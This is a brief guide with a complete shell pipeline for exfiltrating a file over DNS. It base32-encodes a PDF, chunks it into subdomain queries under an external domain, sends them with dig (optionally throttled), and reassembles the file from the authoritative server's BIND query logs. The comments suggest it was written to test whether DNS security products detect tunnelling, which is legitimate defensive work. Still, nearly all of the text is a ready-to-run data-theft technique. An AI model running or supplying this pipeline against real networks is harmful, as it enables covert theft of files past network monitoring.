Saucepan

Guide here

Note that the BIND logs will be approximately 17 times the size of the transferred file.

# File to be exfiltrated
SOURCE=/home/name/dns_exfil_test/file.pdf

# 
ENCRYPTED=/home/name/dns_exfil_test/encryptedpdf.txt
ENCRYPTED2=/home/name/dns_exfil_test/decryptedpdf.txt

# SLD of exfiltration domain
DOMAIN=ferrety-solutions.com

# sub-domain off SLD that we change for every file
SUBDOM=nw

# Target DNS server (e.g. NIOS with DFP or BloxOne Host)
LOCALDNS=192.168.11.154

# Log file that the DNS queries can be found in on the authoratative DNS server
BIND_LOG_FILE=/var/log/named/query.log]

# File to put the decrypted, received file into (should be a replicat of SOURCE)
DECRYPTEDOUTPUT=/home/name/dns_exfil_test/file2.pdf


# Encrypt source file into Base32
# then split into strings of 32 characters each. 
# Then suffix on the domain to query.
# Then add the line number to the start of each line (i.e. put a sequence number on each query)
# Then replace the whitespace at the start of each line with nothing (i.e remove it)
# Then replace the TAB between the number and domain with a "."
base32 $SOURCE | tr -d '\n' | fold -32 | sed -e "s/$/.$SUBDOM.$DOMAIN/" | nl | sed s/^' '*//g | sed "s/\\t/./g" > $ENCRYPTED

# The result is a file that contains a hugh list of FQDN's for us to query (exfiltrate)

# Use DIG to iterate over the file and resolve the DNS at full speed.
dig +short A @$LOCALDNS -f $ENCRYPTED

# OR - if you want to add a delay into the exfiltration, use the following line.
# for i in $(cat $ENCRYPTED); do dig +short A @$LOCALDNS $i;sleep ;done




## The following commands get run on the command auth DNS server.
# Parse DNS Server logs
# Then limit the scope just the queries associated with the SUBDOM that we set (i.e. ignore all the other random stuff we get/ignore any other exfiltration tasks running).
# Then extract just the FQDN query itself
# Then strip the ( character
# Then strip the ): character
# Put the output into ENCRYPTED2 (i.e the DNS server's copy of the encrypted file.
cat $BIND_LOG_FILE | grep $SUBDOM.$DOMAIN | awk -F " " '{print $8}' | sed s/\(//g | sed s/\)://g > $ENCRYPTED2

# Take the ENCRYPTED2 file
# Then stip off the DOMAIN bit of the data.
# Then sort the output as sometimes queries come in on the wrong order.
# remove duplicate queries (BloxOne Threat Defense seems to duplicate stuff a bit).
# Then strip out the new line character to so we just have a bunch of Base32 code.
# Then convert Base32 back to normal file.
Convert back from Base32 and recreate original file.
cat $ENCRYPTED2 | sed "s/.$SUBDOM.$DOMAIN//g" | sort | uniq | tr -d '\n' | base32 --decode > $DECRYPTEDOUTPUT